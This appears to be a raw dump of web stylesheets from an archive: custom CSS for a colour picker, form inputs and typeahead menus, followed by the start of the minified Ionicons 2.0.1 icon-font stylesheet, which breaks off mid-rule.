        margin: 5px;
        cursor: pointer;
    }

        .color-tool li a {
            display: block;
            width: 100%;
            height: 100%;
        }

.color-1 {
    background: #FFF;
}

.color-2 {
    background: #FFF;
}

.color-3 {
    background: #FFF;
}

.color-4 {
    background: #FFF;
}

.color-5 {
    background: #FFF;
}

.color-6 {
    background: #FFF;
}

.color-7 {
    background: #FFF;
}

.color-8 {
    background: #FFF;
}

@media screen and (max-width: 50em) {
    .customizer {
        bottom: 0;
        width: 100%;
        height: 100px;
        padding: 30px 0;
        -webkit-transform: none;
        transform: none;
        border-radius: 0;
        top: 80%;
    }

    .color-tool {
        -webkit-flex-direction: row;
        -ms-flex-direction: row;
        flex-direction: row;
        -webkit-justify-content: center;
        justify-content: center;
    }

        .color-tool li {
            margin: 3px;
        }
}

.input-container {
    text-align: left;
    max-width: 650px;
    margin: 0 auto;
}

.input-container--indent {
    padding-left: 160px;
}

.input-container--space {
    margin-top: 1em;
}

.input-label {
    font-weight: bold;
    display: inline-block;
    line-height: 80px;
    height: 60px;
    width: 150px;
    padding: 0 1em 0 0;
    text-align: right;
    color: #FF75AF;
    -webkit-touch-callout: none;
    -webkit-user-select: none;
    -khtml-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
}

#isim {
    font-weight: bold;
}

.input-label--long {
    float: left;
    width: calc(100% - 50px);
    text-align: left;
    padding: 0 0 1em 1em;
}

.input-wrap {
    position: relative;
    margin: 0 auto 1em;
    display: inline-block;
    vertical-align: top;
    width: 100%;
    height: 80px;
}

.input-wrap--small {
    width: 30px;
    height: 30px;
    float: left;
    margin: 23px 10px 0;
}

.input-wrap input[type="search"] {
    display: block;
    width: 94.6%;
    height: 75%;
    border: none;
    position: relative;
    background: none;
    z-index: 100;
    outline: none;
    font-size: 1.5em;
    font-weight: bold;
    color: #aaa;
    padding: 0 0.75em;
    -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
    -webkit-tap-highlight-color: transparent;
    /* For some Androids */
}

.input-wrap input[type="text"] {
    display: block;
    width: 94.6%;
    height: 75%;
    border: none;
    position: relative;
    background: none;
    z-index: 100;
    outline: none;
    font-size: 1.5em;
    font-weight: bold;
    color: #aaa;
    left: 2.7%;
    top: 12.5%;
    padding: 0 0.75em;
    -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
    -webkit-tap-highlight-color: transparent;
    /* For some Androids */
}

.input-wrap input[type="checkbox"], .input-wrap input[type="radio"], .input-wrap .fa {
    display: block;
    width: 94.6%;
    height: 75%;
    border: none;
    position: relative;
    background: none;
    z-index: 100;
    outline: none;
    font-size: 1.5em;
    font-weight: bold;
    color: #FF75AF;
    padding: 20px 25px !important;
    -webkit-tap-highlight-color: #FF75AF;
    -webkit-tap-highlight-color: transparent;
    /* For some Androids */
}

.input-wrap .fa {
    z-index: 99;
    line-height: 2;
    color: #415c71;
}

.input-wrap input[type="checkbox"]:checked + .fa, .input-wrap input[type="radio"]:checked + .fa {
    opacity: 1;
}

.morph-shape {
    position: absolute;
    width: 100%;
    height: 100%;
    top: 0;
    left: 0;
    pointer-events: none;
}

    .morph-shape svg path {
        fill: #FFE066;
    }

.note {
    text-align: left;
    max-width: 600px;
    padding: 1em 0 0.5em;
    font-size: 1em;
    color: #CBCBCB;
    border-bottom: 1px solid #ddd;
    margin: 0 auto 1em;
}

@media screen and (max-width: 60em) {
    .input-label, .input-label--long {
        text-align: left;
        padding: 0;
    }

    .input-container--indent {
        padding: 0;
    }

    .input-wrap:not(.input-wrap--small) {
        width: 100%;
    }
}

.twitter-typeahead {
    width: 100% !important;
    margin-left: 15px;
    margin-top: 10px;
    height: 80px;
}

.typeahead, .tt-query, .tt-hint {
    height: 80px;
}

.typeahead {
}

/* all */

::-webkit-input-placeholder {
    word-spacing: normal;
}

::-moz-placeholder {
    word-spacing: normal;
}

/* firefox 19+ */

:-ms-input-placeholder {
    word-spacing: normal;
}

/* ie */

input:-moz-placeholder {
    word-spacing: normal;
}

.tt-input {
}

.typeahead:focus {
    border: 2px solid #0097cf;
}

.tt-query {
    -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
    -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
    box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
}

.tt-hint {
    color: #C0392B !important;
}

.tt-menu {
    width: 94.5%;
    margin-top: -3px;
    background-color: #C0392B;
    border: 1px solid #ccc;
    border: 1px solid rgba(0, 0, 0, 0.2);
    -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2);
    -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, .2);
    box-shadow: 0 5px 10px rgba(0, 0, 0, .2);
}

.tt-suggestion {
    padding: 3px 20px;
    font-size: 18px;
    line-height: 24px;
}

    .tt-suggestion:hover {
        cursor: pointer;
        color: #000 !important;
        background-color: #ce5a4e;
    }

    .tt-suggestion.tt-cursor {
        color: #fff;
        background-color: #0097cf;
    }

    .tt-suggestion p {
        margin: 0;
    }

.gist {
    font-size: 33px;
}

/* example specific styles */

/* ----------------------- */

#custom-templates .empty-message {
    padding: 10px 10px !important;
    text-align: center;
}

.empty-message {
    padding: 10px 10px !important;
    text-align: center;
    color: #fff;
}

#multiple-datasets .league-name {
    margin: 0 20px 5px 20px;
    padding: 3px 0;
    border-bottom: 1px solid #ccc;
}

#scrollable-dropdown-menu .tt-menu {
    max-height: 350px;
    overflow-y: auto;
}

#rtl-support .tt-menu {
    text-align: right;
}

.arrow_box4 {
    position: relative;
    border: 2px solid #fff;
}

    .arrow_box4:after, .arrow_box4:before {
        bottom: 100%;
        left: 10%;
        border: solid transparent;
        content: " ";
        height: 0;
        width: 0;
        position: absolute;
        pointer-events: none;
    }

    .arrow_box4:after {
        border-color: rgba(0, 0, 0, 0);
        border-bottom-color:;
        border-width: 12px;
        margin-left: -12px;
    }

    .arrow_box4:before {
        border-color: rgba(255, 255, 255, 0);
        border-bottom-color: #fff;
        border-width: 15px;
        margin-left: -15px;
    }

.personimage {
    object-fit: cover;
}

.fff {
    width: 150px;
    height: auto;
    margin: 0 auto;
    text-align: center;
    object-fit: cover;
}

.md-birim {
    text-transform: capitalize;
}

.kisilist {
    text-transform: capitalize;
    margin: 0 !important;
    padding: 3px 0 !important;
}

.cleard {
    position: absolute;
    top: 0;
    right: 0;
    margin-top: 25px !important;
    margin-right: 25px !important;
    z-index: 999 !important;
    color: #C0392B;
    display: none;
}PK!�+S|T�T�css/ionicons.min.cssnu&1i�@charset "UTF-8";/*!
  Ionicons, v2.0.1
  Created by Ben Sperry for the Ionic Framework, http://ionicons.com/
  https://twitter.com/benjsperry  https://twitter.com/ionicframework
  MIT License: https://github.com/driftyco/ionicons

  Android-style icons originally built by Google’s
  Material Design Icons: https://github.com/google/material-design-icons
  used under CC BY http://creativecommons.org/licenses/by/4.0/
  Modified icons to fit ionicon’s grid from original.
*/@font-face{font-family:"Ionicons";src:url("../fonts/ionicons.eot?v=2.0.1");src:url("../fonts/ionicons.eot?v=2.0.1#iefix") format("embedded-opentype"),url("../fonts/ionicons.ttf?v=2.0.1") format("truetype"),url("../fonts/ionicons.woff?v=2.0.1") format("woff"),url("../fonts/ionicons.svg?v=2.0.1#Ionicons") format("svg");font-weight:normal;font-style:normal}.ion,.ionicons,.ion-alert:before,.ion-alert-circled:before,.ion-android-add:before,.ion-android-add-circle:before,.ion-android-alarm-clock:before,.ion-android-alert:before,.ion-android-apps:before,.ion-android-archive:before,.ion-android-arrow-back:before,.ion-android-arrow-down:before,.ion-android-arrow-dropdown:before,.ion-android-arrow-dropdown-circle:before,.ion-android-arrow-dropleft:before,.ion-android-arrow-dropleft-circle:before,.ion-android-arrow-dropright:before,.ion-android-arrow-dropright-circle:before,.ion-android-arrow-dropup:before,.ion-android-arrow-dropup-circle:before,.ion-android-arrow-forward:before,.ion-android-arrow-up:before,.ion-android-attach:before,.ion-android-bar:before,.ion-android-bicycle:before,.ion-android-boat:before,.ion-android-bookmark:before,.ion-android-bulb:before,.ion-android-bus:before,.ion-android-calendar:before,.ion-android-call:before,.ion-android-camera:before,.ion-android-cancel:before,.ion-android-car:before,.ion-android-cart:before,.ion-android-chat:before,.ion-android-checkbox:before,.ion-android-checkbox-blank:before,.ion-android-checkbox-outline:before,.ion-android-checkbox-outline-blank:before,.ion-android-checkmark-circle:before,.ion-android-clipboard:before,.ion-android-close:before,.ion-android-cloud:before,.ion-android-cloud-circle:before,.ion-android-cloud-done:before,.ion-android-cloud-outline:before,.ion-android-color-palette:before,.ion-android-compass:before,.ion-android-contact:before,.ion-android-contacts:before,.ion-android-contract:before,.ion-android-create:before,.ion-android-delete:before,.ion-android-desktop:before,.ion-android-document:before,.ion-android-done:before,.ion-android-done-all:before,.ion-android-download:before,.ion-android-drafts:before,.ion-android-exit:before,.ion-android-expand:before,.ion-android-favorite:before,.ion-android-favorite-outline:before,.ion-android-film:before,.ion-android-folder:before,.ion-android-folder-open:before,.ion-android-funnel:before,.ion-android-globe:before,.ion-android-hand:before,.ion-android-hangout:before,.ion-android-happy:before,.ion-android-home:before,.ion-android-image:before,.ion-android-laptop:before,.ion-android-list:before,.ion-android-locate:before,.ion-android-lock:before,.ion-android-mail:before,.ion-android-map:before,.ion-android-menu:before,.ion-android-microphone:before,.ion-android-microphone-off:before,.ion-android-more-horizontal:before,.ion-android-more-vertical:before,.ion-android-navigate:before,.ion-android-notifications:before,.ion-android-notifications-none:before,.ion-android-notifications-off:before,.ion-android-open:before,.ion-android-options:before,.ion-android-people:before,.ion-android-person:before,.ion-android-person-add:before,.ion-android-phone-landscape:before,.ion-android-phone-portrait:before,.ion-android-pin:before,.ion-android-plane:before,.ion-android-playstore:before,.ion-android-print:before,.ion-android-radio-button-off:before,.ion-android-radio-button-on:before,.ion-android-refresh:before,.ion-android-remove:before,.ion-android-remove-circle:before,.ion-android-restaurant:before,.ion-android-sad:before,.ion-android-search:before,.ion-android-send:before,.ion-android-settings:before,.ion-android-share:before,.ion-android-share-alt:before,.ion-android-star:before,.ion-android-star-half:before,.ion-android-star-outline:before,.ion-android-stopwatch:before,.ion-android-subway:before,.ion-android-sunny:before,.ion-android-sync:before,.ion-android-textsms:before,.ion-android-time:before,.ion-android-train:before,.ion-android-unlock:before,.ion-android-upload:before,.ion-android-volume-down:before,.ion-android-volume-mute:before,.ion-android-volume-off:before,.ion-android-volume-up:before,.ion-android-walk:before,.ion-android-warning:before,.ion-android-watch:before,.ion-android-wifi:before,.ion-aperture:before,.ion-archive:before,.ion-arrow-down-a:before,.ion-arrow-down-b:before,.ion-arrow-down-c:before,.ion-arrow-expand:before,.ion-arrow-graph-down-left:before,.ion-arrow-graph-down-right:before,.ion-arrow-graph-up-left:before,.ion-arrow-graph-up-right:before,.ion-arrow-left-a:before,.ion-arrow-left-b:before,.ion-arrow-left-c:before,.ion-arrow-move:before,.ion-arrow-resize:before,.ion-arrow-return-left:before,.ion-arrow-return-right:before,.ion-arrow-right-a:before,.ion-arrow-right-b:before,.ion-arrow-right-c:before,.ion-arrow-shrink:before,.ion-arrow-swap:before,.ion-arrow-up-a:before,.ion-arrow-up-b:before,.ion-arrow-up-c:before,.ion-asterisk:before,.ion-at:before,.ion-backspace:before,.ion-backspace-outline:before,.ion-bag:before,.ion-battery-charging:before,.ion-battery-empty:before,.ion-battery-full:before,.ion-battery-half:before,.ion-battery-low:before,.ion-beaker:before,.ion-beer:before,.ion-bluetooth:before,.ion-bonfire:before,.ion-bookmark:before,.ion-bowtie:before,.ion-briefcase:before,.ion-bug:before,.ion-calculator:before,.ion-calendar:before,.ion-camera:before,.ion-card:before,.ion-cash:before,.ion-chatbox:before,.ion-chatbox-working:before,.ion-chatboxes:before,.ion-chatbubble:before,.ion-chatbubble-working:before,.ion-chatbubbles:before,.ion-checkmark:before,.ion-checkmark-circled:before,.ion-checkmark-round:before,.ion-chevron-down:before,.ion-chevron-left:before,.ion-chevron-right:before,.ion-chevron-up:before,.ion-clipboard:before,.ion-clock:before,.ion-close:before,.ion-close-circled:before,.ion-close-round:before,.ion-closed-captioning:before,.ion-cloud:before,.ion-code:before,.ion-code-download:before,.ion-code-working:before,.ion-coffee:before,.ion-compass:before,.ion-compose:before,.ion-connection-bars:before,.ion-contrast:before,.ion-crop:before,.ion-cube:before,.ion-disc:before,.ion-document:before,.ion-document-text:before,.ion-drag:before,.ion-earth:before,.ion-easel:before,.ion-edit:before,.ion-egg:before,.ion-eject:before,.ion-email:before,.ion-email-unread:before,.ion-erlenmeyer-flask:before,.ion-erlenmeyer-flask-bubbles:before,.ion-eye:before,.ion-eye-disabled:before,.ion-female:before,.ion-filing:before,.ion-film-marker:before,.ion-fireball:before,.ion-flag:before,.ion-flame:before,.ion-flash:before,.ion-flash-off:before,.ion-folder:before,.ion-fork:before,.ion-fork-repo:before,.ion-forward:before,.ion-funnel:before,.ion-gear-a:before,.ion-gear-b:before,.ion-grid:before,.ion-hammer:before,.ion-happy:before,.ion-happy-outline:before,.ion-headphone:before,.ion-heart:before,.ion-heart-broken:before,.ion-help:before,.ion-help-buoy:before,.ion-help-circled:before,.ion-home:before,.ion-icecream:before,.ion-image:before,.ion-images:before,.ion-information:before,.ion-information-circled:before,.ion-ionic:before,.ion-ios-alarm:before,.ion-ios-alarm-outline:before,.ion-ios-albums:before,.ion-ios-albums-outline:before,.ion-ios-americanfootball:before,.ion-ios-americanfootball-outline:before,.ion-ios-analytics:before,.ion-ios-analytics-outline:before,.ion-ios-arrow-back:before,.ion-ios-arrow-down:before,.ion-ios-arrow-forward:before,.ion-ios-arrow-left:before,.ion-ios-arrow-right:before,.ion-ios-arrow-thin-down:before,.ion-ios-arrow-thin-left:before,.ion-ios-arrow-thin-right:before,.ion-ios-arrow-thin-up:before,.ion-ios-arrow-up:before,.ion-ios-at:before,.ion-ios-at-outline:before,.ion-ios-barcode:before,.ion-ios-barcode-outline:before,.ion-ios-baseball:before,.ion-ios-baseball-outline:before,.ion-ios-basketball:before,.ion-ios-basketball-outline:before,.ion-ios-bell:before,.ion-ios-bell-outline:before,.ion-ios-body:before,.ion-ios-body-outline:before,.ion-ios-bolt:before,.ion-ios-bolt-outline:before,.ion-ios-book:before,.ion-ios-book-outline:before,.ion-ios-bookmarks:before,.ion-ios-bookmarks-outline:before,.ion-ios-box:before,.ion-ios-box-outline:before,.ion-ios-briefcase:before,.ion-ios-briefcase-outline:before,.ion-ios-browsers:before,.ion-ios-browsers-outline:before,.ion-ios-calculator:before,.ion-ios-calculator-outline:before,.ion-ios-calendar:before,.ion-ios-calendar-outline:before,.ion-ios-camera:before,.ion-ios-camera-outline:before,.ion-ios-cart:before,.ion-ios-cart-outline:before,.ion-ios-chatboxes:before,.ion-ios-chatboxes-outline:before,.ion-ios-chatbubble:before,.ion-ios-chatbubble-outline:before,.ion-ios-checkmark:before,.ion-ios-checkmark-empty:before,.ion-ios-checkmark-outline:before,.ion-ios-circle-filled:before,.ion-ios-circle-outline:before,.ion-ios-clock:before,.ion-ios-clock-outline:before,.ion-ios-close:before,.ion-ios-close-empty:before,.ion-ios-close-outline:before,.ion-ios-cloud:before,.ion-ios-cloud-download:before,.ion-ios-cloud-download-outline:before,.ion-ios-cloud-outline:before,.ion-ios-cloud-upload:before,.ion-ios-cloud-upload-outline:before,.ion-ios-cloudy:before,.ion-ios-cloudy-night:before,.ion-ios-cloudy-night-outline:before,.ion-ios-cloudy-outline:before,.ion-ios-cog:before,.ion-ios-cog-outline:before,.ion-ios-color-filter:before,.ion-ios-color-filter-outline:before,.ion-ios-color-wand:before,.ion-ios-color-wand-outline:before,.ion-ios-compose:before,.ion-ios-compose-outline:before,.ion-ios-contact:before,.ion-ios-contact-outline:before,.ion-ios-copy:before,.ion-ios-copy-outline:before,.ion-ios-crop:before,.ion-ios-crop-strong:before,.ion-ios-download:before,.ion-ios-download-outline:before,.ion-ios-drag:before,.ion-ios-email:before,.ion-ios-email-outline:before,.ion-ios-eye:before,.ion-ios-eye-outline:before,.ion-ios-fastforward:before,.ion-ios-fastforward-outline:before,.ion-ios-filing:before,.ion-ios-filing-outline:before,.ion-ios-film:before,.ion-ios-film-outline:before,.ion-ios-flag:before,.ion-ios-flag-outline:before,.ion-ios-flame:before,.ion-ios-flame-outline:before,.ion-ios-flask:before,.ion-ios-flask-outline:before,.ion-ios-flower:before,.ion-ios-flower-outline:before,.ion-ios-folder:before,.ion-ios-folder-outline:before,.ion-ios-football:before,.ion-ios-football-outline:before,.ion-ios-game-controller-a:before,.ion-ios-game-controller-a-outline:before,.ion-ios-game-controller-b:before,.ion-ios-game-controller-b-outline:before,.ion-ios-gear:before,.ion-ios-gear-outline:before,.ion-ios-glasses:before,.ion-ios-glasses-outline:before,.ion-ios-grid-view:before,.ion-ios-grid-view-outline:before,.ion-ios-heart:before,.ion-ios-heart-outline:before,.ion-ios-help:before,.ion-ios-help-empty:before,.ion-ios-help-outline:before,.ion-ios-home:before,.ion-ios-home-outline:before,.ion-ios-infinite:before,.ion-ios-infinite-outline:before,.ion-ios-information:before,.ion-ios-information-empty:before,.ion-ios-information-outline:before,.ion-ios-ionic-outline:before,.ion-ios-keypad:before,.ion-ios-keypad-outline:before,.ion-ios-lightbulb:before,.ion-ios-lightbulb-outline:before,.ion-ios-list:before,.ion-ios-list-outline:before,.ion-ios-location:before,.ion-ios-location-outline:before,.ion-ios-locked:before,.ion-ios-locked-outline:before,.ion-ios-loop:before,.ion-ios-loop-strong:before,.ion-ios-medical:before,.ion-ios-medical-outline:before,.ion-ios-medkit:before,.ion-ios-medkit-outline:before,.ion-ios-mic:before,.ion-ios-mic-off:before,.ion-ios-mic-outline:before,.ion-ios-minus:before,.ion-ios-minus-empty:before,.ion-ios-minus-outline:before,.ion-ios-monitor:before,.ion-ios-monitor-outline:before,.ion-ios-moon:before,.ion-ios-moon-outline:before,.ion-ios-more:before,.ion-ios-more-outline:before,.ion-ios-musical-note:before,.ion-ios-musical-notes:before,.ion-ios-navigate:before,.ion-ios-navigate-outline:before,.ion-ios-nutrition:before,.ion-ios-nutrition-outline:before,.ion-ios-paper:before,.ion-ios-paper-outline:before,.ion-ios-paperplane:before,.ion-ios-paperplane-outline:before,.ion-ios-partlysunny:before,.ion-ios-partlysunny-outline:before,.ion-ios-pause:before,.ion-ios-pause-outline:before,.ion-ios-paw:before,.ion-ios-paw-outline:before,.ion-ios-people:before,.ion-ios-people-outline:before,.ion-ios-person:before,.ion-ios-person-outline:before,.ion-ios-personadd:before,.ion-ios-personadd-outline:before,.ion-ios-photos:before,.ion-ios-photos-outline:before,.ion-ios-pie:before,.ion-ios-pie-outline:before,.ion-ios-pint:before,.ion-ios-pint-outline:before,.ion-ios-play:before,.ion-ios-play-outline:before,.ion-ios-plus:before,.ion-ios-plus-empty:before,.ion-ios-plus-outline:before,.ion-ios-pricetag:before,.ion-ios-pricetag-outline:before,.ion-ios-pricetags:before,.ion-ios-pricetags-outline:before,.ion-ios-printer:before,.ion-ios-printer-outline:before,.ion-ios-pulse:before,.ion-ios-pulse-strong:before,.ion-ios-rainy:before,.ion-ios-rainy-outline:before,.ion-ios-recording:before,.ion-ios-recording-outline:before,.ion-ios-redo:before,.ion-ios-redo-outline:before,.ion-ios-refresh:before,.ion-ios-refresh-empty:before,.ion-ios-refresh-outline:before,.ion-ios-reload:before,.ion-ios-reverse-camera:before,.ion-ios-reverse-camera-outline:before,.ion-ios-rewind:before,.ion-ios-rewind-outline:before,.ion-ios-rose:before,.ion-ios-rose-outline:before,.ion-ios-search:before,.ion-ios-search-strong:before,.ion-ios-settings:before,.ion-ios-settings-strong:before,.ion-ios-shuffle:before,.ion-ios-shuffle-strong:before,.ion-ios-skipbackward:before,.ion-ios-skipbackward-outline:before,.ion-ios-skipforward:before,.ion-ios-skipforward-outline:before,.ion-ios-snowy:before,.ion-ios-speedometer:before,.ion-ios-speedometer-outline:before,.ion-ios-star:before,.ion-ios-star-half:before,.ion-ios-star-outline:before,.ion-ios-stopwatch:before,.ion-ios-stopwatch-outline:before,.ion-ios-sunny:before,.ion-ios-sunny-outline:before,.ion-ios-telephone:before,.ion-ios-telephone-outline:before,.ion-ios-tennisball:before,.ion-ios-tennisball-outline:before,.ion-ios-thunderstorm:before,.ion-ios-thunderstorm-outline:before,.ion-ios-time:before,.ion-ios-time-outline:before,.ion-ios-timer:before,.ion-ios-timer-outline:before,.ion-ios-toggle:before,.ion-ios-toggle-outline:before,.ion-ios-trash:before,.ion-ios-trash-outline:before,.ion-ios-undo:before,.ion-ios-undo-outline:before,.ion-ios-unlocked:before,.ion-ios-unlocked-outline:before,.ion-ios-upload:before,.ion-ios-upload-outline:before,.ion-ios-videocam:before,.ion-ios-videocam-outline:before,.ion-ios-volume-high:before,.ion-ios-volume-low:before,.ion-ios-wineglass:before,.ion-ios-wineglass-outline:before,.ion-ios-world:before,.ion-ios-world-outline:before,.ion-ipad:before,.ion-iphone:before,.ion-ipod:before,.ion-jet:before,.ion-key:before,.ion-knife:before,.ion-laptop:before,.ion-leaf:before,.ion-levels:before,.ion-lightbulb:before,.ion-link:before,.ion-load-a:before,.ion-load-b:before,.ion-load-c:before,.ion-load-d:before,.ion-location:before,.ion-lock-combination:before,.ion-locked:before,.ion-log-in:before,.ion-log-out:before,.ion-loop:before,.ion-magnet:before,.ion-male:before,.ion-man:before,.ion-map:before,.ion-medkit:before,.ion-merge:before,.ion-mic-a:before,.ion-mic-b:before,.ion-mic-c:before,.ion-minus:before,.ion-minus-circled:before,.ion-minus-round:before,.ion-model-s:before,.ion-monitor:before,.ion-more:before,.ion-mouse:before,.ion-music-note:before,.ion-navicon:before,.ion-navicon-round:before,.ion-navigate:before,.ion-network:before,.ion-no-smoking:before,.ion-nuclear:before,.ion-outlet:before,.ion-paintbrush:before,.ion-paintbucket:before,.ion-paper-airplane:before,.ion-paperclip:before,.ion-pause:before,.ion-person:before,.ion-person-add:before,.ion-person-stalker:before,.ion-pie-graph:before,.ion-pin:before,.ion-pinpoint:before,.ion-pizza:before,.ion-plane:before,.ion-planet:before,.ion-play:before,.ion-playstation:before,.ion-plus:before,.ion-plus-circled:before,.ion-plus-round:before,.ion-podium:before,.ion-pound:before,.ion-power:before,.ion-pricetag:before,.ion-pricetags:before,.ion-printer:before,.ion-pull-request:before,.ion-qr-scanner:before,.ion-quote:before,.ion-radio-waves:before,.ion-record:before,.ion-refresh:before,.ion-reply:before,.ion-reply-all:before,.ion-ribbon-a:before,.ion-ribbon-b:before,.ion-sad:before,.ion-sad-outline:before,.ion-scissors:before,.ion-search:before,.ion-settings:before,.ion-share:before,.ion-shuffle:before,.ion-skip-backward:before,.ion-skip-forward:before,.ion-social-android:before,.ion-social-android-outline:before,.ion-social-angular:before,.ion-social-angular-outline:before,.ion-social-apple:before,.ion-social-apple-outline:before,.ion-social-bitcoin:before,.ion-social-bitcoin-outline:before,.ion-social-buffer:before,.ion-social-buffer-outline:before,.ion-social-chrome:before,.ion-social-chrome-outline:before,.ion-social-codepen:before,.ion-social-codepen-outline:before,.ion-social-css3:before,.ion-social-css3-outline:before,.ion-social-designernews:before,.ion-social-designernews-outline:before,.ion-social-dribbble:before,.ion-social-dribbble-outline:before,.ion-social-dropbox:before,.ion-social-dropbox-outline:before,.ion-social-euro:before,.ion-social-euro-outline:before,.ion-social-facebook:before,.ion-social-facebook-outline:before,.ion-social-foursquare:before,.ion-social-foursquare-outline:before,.ion-social-freebsd-devil:before,.ion-social-github:before,.ion-social-github-outline:before,.ion-social-google:before,.ion-social-google-outline:before,.ion-social-googleplus:before,.ion-social-googleplus-outline:before,.ion-social-hackernews:before,.ion-social-hackernews-outline:before,.ion-social-html5:before,.ion-social-html5-outline:before,.ion-social-instagram:before,.ion-social-instagram-outline:before,.ion-social-javascript:before,.ion-social-javascript-outline:before,.ion-social-linkedin:before,.ion-social-linkedin-outline:before,.ion-social-markdown:before,.ion-social-nodejs:before,.ion-social-octocat:before,.ion-social-pinterest:before,.ion-social-pinterest-outline:before,.ion-social-python:before,.ion-social-reddit:before,.ion-social-reddit-outline:before,.ion-social-rss:before,.ion-social-rss-outline:before,.ion-social-sass:before,.ion-social-skype:before,.ion-social-skype-outline:before,.ion-social-snapchat:before,.ion-social-snapchat-outline:before,.ion-social-tumblr:before,.ion-social-tumblr-outline:before,.ion-social-tux:before,.ion-social-twitch:before,.ion-social-twitch-outline:before,.ion-social-twitter:before,.ion-social-twitter-outline:before,.ion-social-usd:before,.ion-social-usd-outline:before,.ion-social-vimeo:before,.ion-social-vimeo-outline:before,.ion-social-whatsapp:before,.ion-social-whatsapp-outline:before,.ion-social-windows:before,.ion-social-windows-outline:before,.ion-social-wordpress:before,.ion-social-wordpress-outline:before,.ion-social-yahoo:before,.ion-social-yahoo-outline:before,.ion-social-yen:before,.ion-social-yen-outline:before,.ion-social-youtube:before,.ion-social-youtube-outline:before,.ion-soup-can:before,.ion-soup-can-outline:before,.ion-speakerphone:before,.ion-speedometer:before,.ion-spoon:before,.ion-star:before,.ion-stats-bars:before,.ion-steam:before,.ion-stop:before,.ion-thermometer:before,.ion-thumbsdown:before,.ion-thumbsup:before,.ion-toggle:before,.ion-toggle-filled:before,.ion-transgender:before,.ion-trash-a:before,.ion-trash-b:before,.ion-trophy:before,.ion-tshirt:before,.ion-tshirt-outline:before,.ion-umbrella:before,.ion-university:before,.ion-unlocked:before,.ion-upload:before,.ion-usb:before,.ion-videocamera:before,.ion-volume-high:before,.ion-volume-low:before,.ion-volume-medium:before,.ion-volume-mute:before,.ion-wand:before,.ion-waterdrop:before,.ion-wifi:before,.ion-wineglass:before,.ion-woman:before,.ion-wrench:before,.ion-xbox:before{display:inline-block;font-family:"Ionicons";speak:none;font-style:normal;font-weight:normal;font-variant:normal;text-transform:none;text-rendering:auto;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.ion-alert:before{content:"\f101"}.ion-alert-circled:before{content:"\f100"}.ion-android-add:before{content:"\f2c7"}.ion-android-add-circle:before{content:"\f359"}.ion-android-alarm-clock:before{content:"\f35a"}.ion-android-alert:before{content:"\f35b"}.ion-android-apps:before{content:"\f35c"}.ion-android-archive:before{content:"\f2c9"}.ion-android-arrow-back:before{content:"\f2ca"}.ion-android-arrow-down:before{content:"\f35d"}.ion-android-arrow-dropdown:before{content:"\f35f"}.ion-android-arrow-dropdown-circle:before{content:"\f35e"}.ion-android-arrow-dropleft:before{content:"\f361"}.ion-android-arrow-dropleft-circle:before{content:"\f360"}.ion-android-arrow-dropright:before{content:"\f363"}.ion-android-arrow-dropright-circle:before{content:"\f362"}.ion-android-arrow-dropup:before{content:"\f365"}.ion-android-arrow-dropup-circle:before{content:"\f364"}.ion-android-arrow-forward:before{content:"\f30f"}.ion-android-arrow-up:before{content:"\f366"}.ion-android-attach:before{content:"\f367"}.ion-android-bar:before{content:"\f368"}.ion-android-bicycle:before{content:"\f369"}.ion-android-boat:before{content:"\f36a"}.ion-android-bookmark:before{content:"\f36b"}.ion-android-bulb:before{content:"\f36c"}.ion-android-bus:before{content:"\f36d"}.ion-android-calendar:before{content:"\f2d1"}.ion-android-call:before{content:"\f2d2"}.ion-android-camera:before{content:"\f2d3"}.ion-android-cancel:before{content:"\f36e"}.ion-android-car:before{content:"\f36f"}.ion-android-cart:before{content:"\f370"}.ion-android-chat:before{content:"\f2d4"}.ion-android-checkbox:before{content:"\f374"}.ion-android-checkbox-blank:before{content:"\f371"}.ion-android-checkbox-outline:before{content:"\f373"}.ion-android-checkbox-outline-blank:before{content:"\f372"}.ion-android-checkmark-circle:before{content:"\f375"}.ion-android-clipboard:before{content:"\f376"}.ion-android-close:before{content:"\f2d7"}.ion-android-cloud:before{content:"\f37a"}.ion-android-cloud-circle:before{content:"\f377"}.ion-android-cloud-done:before{content:"\f378"}.ion-android-cloud-outline:before{content:"\f379"}.ion-android-color-palette:before{content:"\f37b"}.ion-android-compass:before{content:"\f37c"}.ion-android-contact:before{content:"\f2d8"}.ion-android-contacts:before{content:"\f2d9"}.ion-android-contract:before{content:"\f37d"}.ion-android-create:before{content:"\f37e"}.ion-android-delete:before{content:"\f37f"}.ion-android-desktop:before{content:"\f380"}.ion-android-document:before{content:"\f381"}.ion-android-done:before{content:"\f383"}.ion-android-done-all:before{content:"\f382"}.ion-android-download:before{content:"\f2dd"}.ion-android-drafts:before{content:"\f384"}.ion-android-exit:before{content:"\f385"}.ion-android-expand:before{content:"\f386"}.ion-android-favorite:before{content:"\f388"}.ion-android-favorite-outline:before{content:"\f387"}.ion-android-film:before{content:"\f389"}.ion-android-folder:before{content:"\f2e0"}.ion-android-folder-open:before{content:"\f38a"}.ion-android-funnel:before{content:"\f38b"}.ion-android-globe:before{content:"\f38c"}.ion-android-hand:before{content:"\f2e3"}.ion-android-hangout:before{content:"\f38d"}.ion-android-happy:before{content:"\f38e"}.ion-android-home:before{content:"\f38f"}.ion-android-image:before{content:"\f2e4"}.ion-android-laptop:before{content:"\f390"}.ion-android-list:before{content:"\f391"}.ion-android-locate:before{content:"\f2e9"}.ion-android-lock:before{content:"\f392"}.ion-android-mail:before{content:"\f2eb"}.ion-android-map:before{content:"\f393"}.ion-android-menu:before{content:"\f394"}.ion-android-microphone:before{content:"\f2ec"}.ion-android-microphone-off:before{content:"\f395"}.ion-android-more-horizontal:before{content:"\f396"}.ion-android-more-vertical:before{content:"\f397"}.ion-android-navigate:before{content:"\f398"}.ion-android-notifications:before{content:"\f39b"}.ion-android-notifications-none:before{content:"\f399"}.ion-android-notifications-off:before{content:"\f39a"}.ion-android-open:before{content:"\f39c"}.ion-android-options:before{content:"\f39d"}.ion-android-people:before{content:"\f39e"}.ion-android-person:before{content:"\f3a0"}.ion-android-person-add:before{content:"\f39f"}.ion-android-phone-landsc